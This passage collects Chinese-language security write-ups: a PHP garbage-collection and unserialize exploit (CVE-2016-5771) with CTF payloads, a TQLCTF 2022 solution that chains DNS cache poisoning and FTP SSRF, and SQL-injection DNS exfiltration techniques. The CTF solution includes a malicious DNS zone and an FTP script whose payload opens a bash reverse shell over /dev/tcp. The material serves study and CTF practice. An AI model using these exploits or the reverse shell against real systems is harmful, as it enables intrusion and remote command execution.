refcount计数减1,说明unset并非一定会释放内存,当有两个变量指向的时候,并非会释放变量占用的内存,只是refcount减1.

触发垃圾回收

该算法的实现可以在Zend/zend_gc.chttps://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )中找到。每当zval被销毁时(例如:在该zval上调用unset时),垃圾回收算法会检查其是否为数组或对象。除了数组和对象外,所有其他原始数据类型都不能包含循环引用。这一检查过程通过调用gc_zval_possible_root函数来实现。任何这种潜在的zval都被称为根(Root),并会被添加到一个名为gc_root_buffer的列表中。
然后,将会重复上述步骤,直至满足下述条件之一:

  1. gc_collect_cycles()被手动调用( http://php.net/manual/de/function.gc-collect-cycles.php );
  2. 垃圾存储空间将满。这也就意味着,在根缓冲区的位置已经存储了10000个zval,并且即将添加新的根。这里的10000是由Zend/zend_gc.chttps://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )头部中GC_ROOT_BUFFER_MAX_ENTRIES所定义的默认限制。当出现第10001个zval时,将会再次调用gc_zval_possible_root,这时将会再次执行对gc_collect_cycles的调用以处理并刷新当前缓冲区,从而可以再次存储新的元素。

由于现实环境的种种限制,手动调用gc_collect_cycles()并不现实。也就是说,我们要强行触发gc,要靠填满垃圾存储空间

反序列化

要知道,反序列化过程允许一遍又一遍地传递相同的索引,所以不断会填充内存空间。一旦重新使用数组索引,旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update,它将调用旧元素的析构函数(Destructor)。每当zval被销毁时,都会涉及到垃圾回收。这也就意味着,所有创建的数组都会开始填充垃圾缓冲区,直至超出其空间导致对gc_collect_cycles的调用。

反序列化过程会跟踪所有未序列化的元素,以允许设置引用,因此反序列化期间所有元素的引用计数器值都大于完成后的值。而全部条目都存储在列表var_hash中,一旦反序列化过程即将完成,就会破坏函数var_destroy中的条目,所以针对每个在特定元素上的附加引用,我们必须让引用计数增加2,超出其内存空间,调用gc_collect_cycles

ArrayObject

// POC of the ArrayObject GC vulnerability
<?php
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
// Result:
// string(4) "bbbb"

我们通常的期望是输出如下:

array(1) { // outer_array
  [1]=>
  object(ArrayObject)#1 (1) {
    ["storage":"ArrayObject":private]=>
    array(2) { // inner_array
      [1]=>
      // Reference to inner_array
      [2]=>
      // Reference to outer_array
    }
  }
}

但实际上,一旦该示例执行,外部数组(由$outer_array引用)将会被释放,并且zval将会被$filter2的zval覆盖,导致没有输出"bbbb"。

ArrayObject的反序列化函数接受对另一个数组的引用,以用于初始化的目的。这也就意味着,一旦我们对一个ArrayObject进行反序列化后,就可以引用任何之前已经被反序列化过的数组。此外,这还将允许我们将整个哈希表中的所有条目递减两次。

1、得到一个应被释放的目标zval X;
2、创建一个数组Y,其中包含几处对zval X的引用:array(ref_to_X, ref_to_X, […], ref_to_X)
3、创建一个ArrayObject,它将使用数组Y的内容进行初始化,因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤,我们可以操纵标记算法,对数组Y中的所有引用实现两次访问。但是,在反序列化过程中创建引用将会导致引用计数器增加2,所以还要找到解决方案:
4、使用与步骤3相同的方法,额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject,它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减,可以将该方法用于对任意目标zval的引用计数器实现清零。

举个例子

<?php

highlight_file(__FILE__);

$flag ="flag{".md5(time)."}";

class B {
    function __destruct() {
            echo "successful\n";
            echo $flag;
    }
}

unserialize($_GET[1]);

throw new Exception('中途退出啦');

我们假如要执行__destruct方法,打印flag,就得绕过这个throw new Exception。因为 __destruct 方法是在该对象被回收时调用,而 exception 会中断该进程对该对象的销毁。所以我们需要强制让php的GC(垃圾回收机制)去进行该对象的回收。

核心思想:反序列化一个数组,然后再利用第一个索引,来触发GC

简单来说,就是:

$a=array();
$a[0]=new B();
$a[1]=new B();
.....
$b = unserialize($a);

EXP:

class B{
    function __construct(){
        echo "AndyNoel";
    }
} 
echo serialize(array(new B, new B));

//a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}}

这样就能成功执行魔术方法了。

通俗易懂吧,那么让我们回到最开始的题目,怎么利用PHP垃圾回收机制呢?

EXP:

<?php
class B{
    public $p;
    public function __construct(){
        $this->a = new A();
    }
}

class A{
    public $a;
    public function __construct(){
        $this->a = new Fun();
    }
}

class Fun{
    private $func = 'call_user_func_array';
    public function __construct()
    {
        $this->func ="Test::getFlag";
    }
}
$c = array(new B, new B);
$a = serialize($c);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$a));

一样的原理,也是通过添加第一个索引达到触发GC的效果。

造成该漏洞的主要原因是ArrayObject缺少垃圾回收函数。该漏洞称为“双递减漏洞”,漏洞报告如下(CVE-2016-5771): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5771

参考链接:https://www.evonide.com/breaking-phps-garbage-collection-and-unserialize/

从一道题开始学习DNS缓存攻击

文章首发于先知社区:从一道题开始学习DNS缓存攻击

前言

TQLCTF 2022只做了一道web,其余几道题打自闭了,回来复现。前言?没有前言了。。。焯

DNS解析链

image.png

DNS就是域名系统,是因特网中的一项核心服务,是用于实现域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。

众所周知,DNS查询具有透明性,不会对接收到的DNS记录进行修改,恶意代码能够完整保存,并且,接收解析结果的程序不会对结果做任何验证和过滤。

image.png

上面是我做的一个DNS解析流程图

如果,我们将恶意字符编码为DNS记录的有效载荷。由攻击者的域名服务器提供的记录在攻击者控制的域下包含一个合法映射,但record被目标程序接受并处理时,获取到了错误子域的IP地址。此时,攻击者向解析器注入了大量伪造的响应,就会发生错误的解释从而导致注入攻击。

DNS缓存攻击

在DNS资源记录中插⼊控制字符,从⽽影响DNS的解析结果,或是插⼊不符合域名规范的特殊字符,最终实现DNS缓存污染、SQL 注⼊、XSS等效果。

我们假设A为用户端,B为DNS服务器,C为A到B链路的一个节点的网络设备(路由器,交换机,网关之类的),然后我们来模拟一次被污染的DNS请求过程。

假设A向B构建UDP连接,然后,A向B发送查询请求,查询请求内容通常是:A example.com,这一个数据包经过节点设备C继续前往DNS服务器B;然而在这个过程中,C通过对数据包进行特征分析(远程通讯端口为DNS服务器端口,激发内容关键字检查,检查特定的域名如上述的example.com,以及查询的记录类型A记录),从而立刻返回一个错误的解析结果(如返回了A 123.110.119.120),众所周知,作为链路上的一个节点,C机器的这个结果必定会先于真正的域名服务器的返回结果到达用户机器A,而我们的DNS解析机制有一个重要的原则,就是只认第一,因此C节点所返回的查询结果就被A机器当作了最终返回结果,用于构建链接。

DNS缓存投毒

DNS缓存投毒攻击主要有两种攻击方式,分别利用\\.\\000字符:

句点注入

\\.在解码时会被认为是 .字符,因此DNS记录 www\\.example.com. A 1.1.1.1存入DNS缓存后就是将域名 www.example.com解析为 1.1.1.1的一条A记录。

这种攻击要求攻击者有一个特殊的域名www\\.example.com,且目标域名在同一父域下,但大多数应用都不太可能出现直接访问这类错误域名的情况,所以可以用CNAME记录来重定向。

CNAME对于需要在同一个IP地址上运行多个服务的情况来说非常方便。若要同时运行文件传输服务和Web服务,则可以把ftp.example.comwww.example.com都指向DNS记录 example.com ,而后者则有一个指向IP地址的A记录。如此一来,若服务器IP地址改变,则只需修改example.com的A记录即可。

CNAME记录必须指向另一个域名,而不能是IP地址。

inject.attacker.com. CNAME www\\.example.com.
www\\.example.com. A 1.1.1.1

当我们直接对record进行解码但没有对\\.设置转义,www.example.com的 IP 地址就会变为
1.1.1.1。解码后缓存这个被误解的记录导致了DNS缓存注入。

\\000截断

\\000是C语言字符串的结束符,指的是8进制0对应的字符,很多情况下DNS记录中的字符串也会被这一字符截断。

当我们解码并将其输入到目标缓存时,该记录使攻击者能够在缓存中注入任意域名的记录。在这个攻击中,我们还使用了一个 CNAME别名映射到某个二级域名injectdot.attacker.com,对于大多数客户端软件,都会直接访问解析器就触发了对www.example.com\\000.attacker.com的查询。当没有转义www.example.com后的零字节时,.attacker.com被重新移动,因为它在\\\000之后,DNS 软件误解记录并缓存一个记录映射www.example.com到 IP 地址 1.1.1.1

inject.attacker.com. CNAME www.example.com\\000.attacker.com
www.example.com\\000.attacker.com A 1.1.1.1

例题 — [TQLCTF 2022]Network tools

通过DNS隧道传输恶意载荷

  • DNS缓存投毒
  • SSRF
from flask import Flask, request, send_from_directory,session
from flask_session import Session
from io import BytesIO
import re
import os
import ftplib
from hashlib import md5

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['SESSION_TYPE'] = 'filesystem'  
sess = Session()
sess.init_app(app)

def exec_command(cmd, addr):
    result = ''
    if re.match(r'^[a-zA-Z0-9.:-]+$', addr) != None:
        with os.popen(cmd % (addr)) as readObj:
            result = readObj.read()
    else:
        result = 'Invalid Address!'
    return result

@app.route("/")
def index():
    if not session.get('token'):
        token = md5(os.urandom(32)).hexdigest()[:8]
        session['token'] = token
    return send_from_directory('', 'index.html')

@app.route("/ping", methods=['POST'])
def ping():
    addr = request.form.get('addr', '')
    if addr == '':
        return 'Parameter "addr" Empty!'
    return exec_command("ping -c 3 -W 1 %s 2>&1", addr)

@app.route("/traceroute", methods=['POST'])
def traceroute():
    addr = request.form.get('addr', '')
    if addr == '':
        return 'Parameter "addr" Empty!'
    return exec_command("traceroute -q 1 -w 1 -n %s 2>&1", addr)

@app.route("/ftpcheck")
def ftpcheck():
    if not session.get('token'):
        return redirect("/")
    domain = session.get('token') + ".ftp.testsweb.xyz"
    file = 'robots.txt'
    fp = BytesIO()
    try:
        with ftplib.FTP(domain) as ftp:
            ftp.login("admin","admin")
            ftp.retrbinary('RETR ' + file, fp.write)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(domain,str(e))
    fp.seek(0)
    try:
        with ftplib.FTP(domain) as ftp:
            ftp.login("admin","admin")
            ftp.storbinary('STOR ' + file, fp)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(domain,str(e))
    fp.close()
    return 'FTP {} Check Success.'.format(domain)

@app.route("/shellcheck", methods=['POST'])
def shellcheck():
    if request.remote_addr != '127.0.0.1':
        return 'Localhost only'
    shell = request.form.get('shell', '')
    if shell == '':
        return 'Parameter "shell" Empty!'
    return str(os.system(shell))

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

分析一下,有两个点,一个是ftpcheck路由的FTP SSRF,还有一个是只允许本地访问的shell

那么我们的思路就是将token.ftp.testsweb.xyz的缓存污染为⾃⼰服务器的IP地址,即可实现FTP SSRF,访问到预留的webshell。

这里实现的时候,我们可以用Twisted,一个基于事件驱动的网络引擎框架,支持许多常见的传输及应用层协议,包括TCP、UDP、SSL/TLS、HTTP、IMAP、SSH、IRC以及FTP。

zone = [
    SOA(
        # For whom we are the authority 
        'a.testsweb.xyz',

        # This nameserver's name 
        mname = "b.testsweb.xyz.",

        # Mailbox of individual who handles this 
        rname = "admin.a.testsweb.xyz",

        # Unique serial identifying this SOA data 
        serial = 0,

        # Time interval before zone should be refreshed 
        refresh = "1H",

        # Interval before failed refresh should be retried 
        retry = "30M",

        # Upper limit on time interval before expiry 
        expire = "1M",

        # Minimum TTL 
        minimum = "30"
    ),
    NS('a.testsweb.xyz', 'b.testsweb.xyz'),#将a.testsweb.xyz域名指定b.testsweb.xyz DNS服务器解析
    CNAME('ftp.a.testsweb.xyz', 'token.ftp.testsweb.xyz\\000.a.testsweb.xyz'),
    A('token.ftp.testsweb.xyz\\000.a.testsweb.xyz', 'X.X.X.X'), 
]

a.testsweb.xyz的域名指定b.testsweb.xyz的DNS服务器解析,然后将a.testweb.xyz的A记录指向自己的服务器IP

完成构造,关闭system-resolved,并且以权威服务器模式打开Twisted

sudo service systemd-resolved stop
sudo twisted -n dns --pyzone a.testweb.xyz

只要查询一下ftp.a.testweb.xyz,就会命中DNS Forwarder的缓存,token.ftp.testweb.xyzDNS缓存就会污染为我们服务器IP

# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520- i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip, shell_port))
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 127,0,0,1,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则:35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    print(conn.recv(20)) # QUIT\r\n
    print("221 ")
    conn.send(b"221 \n")
    conn.close()
    count += 1

发送payload即可。

解决方案

DNS缓存投毒这一漏洞的根本原因我认为是没有对DNS记录进行验证和过滤,以及主机名和域名存在差异性。解决这一漏洞最直接的方法,就是针对这两个特性,将接收到的DNS解析结果像对待用户输入一样的方式进行过滤,不过这样有可能导致传输速率降低。

DNS中的SQL注入攻击

SQLMap现在已经可以自动完成这个任务,随着SQLMap的升级完成,攻击者可以使用此技术进行快速而低调的数据检索,尤其是在其他标准方法失败的情况下。当其他更快的SQL注入(SQLI)数据检索技术失败时,攻击者通常会使用逐位检索数据的方法,这是一个非常繁杂而费时的流程。因此,攻击者通常需要发送成千上万的请求来获取一个普通大小的表的内容。这里提到的是一种攻击者通过利用有漏洞数据库管理系统(DBMS)发起特制的DNS请求,并在另一端进行拦截来检索恶意SQL语句结果(例如管理员密码),每个循环可传输几十个结果字符的技术。

Microsoft SQL Server

扩展存储程序是一个直接运行在微软的地址空间库SQL服务器(MSSQL)的动态链接。有几个未被公开说明的扩展存储程序对于实现本文的目的特别有用的。

攻击者可以使用MicrosoftWindows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。Windows系统的UNC语法具有通用的形式:

\\ComputerName\SharedFolder\Resource

攻击者能够通过使用自定义制作的地址作为计算机名字段的值引发DNS请求。

master..xp_dirtree

扩展存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹:

master..xp_dirtree'<dirpath>'

例如,要获得C:\Windows run:里的所有文件夹和子文件夹:

EXECmaster..xp_dirtree 'C:\Windows';

master..xp_fileexist

扩展存储程序master..xp_fileexist()用于确定一个特定的文件是否存在于硬盘:xp_fileexist '' 例如,要检查boot.ini文件是否存在于磁盘C 运行:

EXECmaster..xp_fileexist 'C:\boot.ini';

master..xp_subdirs

扩展存储程序master..xp_subdirs()用于得到给定的文件夹内的文件夹列表:

master..xp_subdirs'<dirpath>'

例如,要获得C:\Windows中的所有次级文件夹:

EXECmaster..xp_subdirs 'C:\Windows';

Oracle

Oracle提供的PL/ SQL包被捆绑在它的Oracle数据库服务器来扩展数据库功能。为了实现本文的目的,其中几个用于网络接入的包值得注意。

UTL_INADDR.GET_HOST_ADDRESS

UTL_INADDR包用于互联网的寻址--例如检索本地和远程主机的主机名和IP的地址。

它的成员函数GET_HOST_ADDRESS()用于检索特定主机的IP:

UTL_INADDR.GET_HOST_ADDRESS('<host>')

例如,为了获得test.example.com的IP地址,运行:

SELECTUTL_INADDR.GET_HOST_ADDRESS('test.example.com');

UTL_HTTP.REQUEST

UTL_HTTP包用于从SQL和PL/SQL中标注出HTTP。它的程序REQUEST()回从给定的地址检索到的第1-2000字节的数据:UTL_HTTP.REQUEST('')

例如,为了获得http://test.example.com/index.php页面的前两千字节的数据,运行:

SELECTUTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;

HTTPURITYPE.GETCLOB

HTTPURITYPE类的实例方法GETCLOB()返回从给定地址中检索到的CLOB(Character Large Object)HTTPURITYPE('').GETCLOB()

例如,从页面http://test.example.com/index.php开始内容检索运行:

SELECTHTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;

DBMS_LDAP.INIT

DBMS_LDAP包使得PL/SQL程序员能够访问轻量级目录访问协议(LDAP)服务器。它的程序INIT()用于初始化与LDAP服务器的会话:DBMS_LDAP.INIT(('',)

例如:初始化与主机test.example.com的连接运行:

SELECTDBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;

攻击者可以使用任何以上提到的Oracle子程序发起DNS请求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能导致网络访问子程序都受到限制。

MySQL

LOAD_FILE

MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回:LOAD_FILE('')

例如,要获取C:\Windows\system.ini文件的内容运行:

SELECTLOAD_FILE('C:\\Windows\\system.ini') ;

实操

在SQLMap运行时,unionerror-based技术具有最高优先级,主要因为他们的速度快而且不需要特殊的要求。

因此,只有当inference技术方法是可用的,且选项--dns-domain被用户明确设置时,SQLMap才会打开对DNS渗出的支持。每个DNS解析请求结果都被按照RFC1034规定的DNS域名标准编码为十六进制格式。

这种方式使得最终一切非单词字符都能被保留。此外,表示较长的SQL查询结果的十六进制被分割。这是必须的,因为整个域名内的节点标签(如.example.)被限制在63个字符长度大小。

参考链接

Data Retrieval over DNS in SQL Injection Attacks (arxiv.org)

注入攻击新方式:通过DNS隧道传输恶意载荷 - 安全内参 | 决策者的网络安全知识库 (secrss.com)